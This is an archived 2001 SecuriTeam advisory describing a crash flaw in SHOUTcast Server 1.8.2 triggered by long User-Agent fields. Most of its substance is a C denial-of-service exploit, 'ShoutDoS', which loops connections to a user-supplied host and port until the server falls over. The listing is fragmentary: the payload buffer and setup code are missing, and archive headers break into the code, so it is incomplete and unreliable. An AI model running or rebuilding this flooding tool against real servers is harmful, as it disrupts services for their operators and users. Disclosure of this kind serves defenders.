

[EXPL] Denial of Service Vulnerability in SHOUTcast Server (User Agent, Host)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-08/0038.html>

From: support@securiteam.com

Date: 08/05/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [EXPL] Denial of Service Vulnerability in SHOUTcast Server (User Agent, Host)

Message-Id: <20010805194054.83C5D13903@mail.der-keiler.de>

Date: Sun, 5 Aug 2001 21:40:54 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

Denial of Service Vulnerability in SHOUTcast Server (User Agent, Host)

SUMMARY

<<http://www.shoutcast.com>> SHOUTcast is a Winamp-based distributed streaming audio system by Nullsoft. This product contains a security vulnerability that allows attackers to cause the server to crash by sending it long fields inside an HTTP request.

DETAILS

Vulnerable systems:

- * SHOUTcast Server version 1.8.2 (Linux, Win32)

A security vulnerability in the SHOUTcast Server allows attackers to cause it to crash when the server receives, approximately seven very long User-Agent field (4KB) requests in the client HTTP connection request.

Exploit:

/*

- * ShoutDoS: Remote Denial of Service SHOUTcast Server

*

- * ShoutDoS (C) 2001 FraMe <frame@hispalab.com>

*

* Tested:

- * SHOUTcast Server 1.8.2 Linux

- * SHOUTcast Server 1.8.2 Win32

*

Hypermail Development List: [EXPL] Denial of Service Vulnerabil

```
if ( argc != 3 ) {
msg();
printf("Usage: %s ip port\n",*argv);
exit(1);
}

if ((SHOUTserver = gethostbyname(argv[1])) == NULL) {
msg();
printf("Error: gethostbyname()\n");
exit(1);
}

memcpy(&sa.sin_addr.s_addr,SHOUTserver->h_addr,SHOUTserver->h_length);
sa.sin_family = AF_INET;
sa.sin_port = htons(atoi(argv[2]));

if ((s=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
msg();
printf("Error: socket()\n");
exit(1);
}

if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
msg();
printf("Error: connect()\n");
exit (1);
}

close(s);
msg();
printf("Connect. The host appears be up...\n");
printf("Doing DoS ");

DoS:

if ((s=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
printf(" Error!\n");
exit(1);
}

if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf(" Server Crash!\n");
exit (1);
}

write(s,buffer,sizeof(buffer)-1);
read(s,rbuff,sizeof(rbuff));
close(s);
printf(".");
```

Hypermail Development List: [EXPL] Denial of Service Vulnerabil

```
goto DoS; // Basic Power :)  
}
```

```
/* EOF */
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:frame@hispalab.com> FraMe.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Next message:** support@securiteam.com: "[NT] Code Red II – New Non-variant Code Red Worm – Analysis"
 - **Previous message:** support@securiteam.com: "[TOOL] Firewall Builder, an Object Oriented Policy Compiler"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)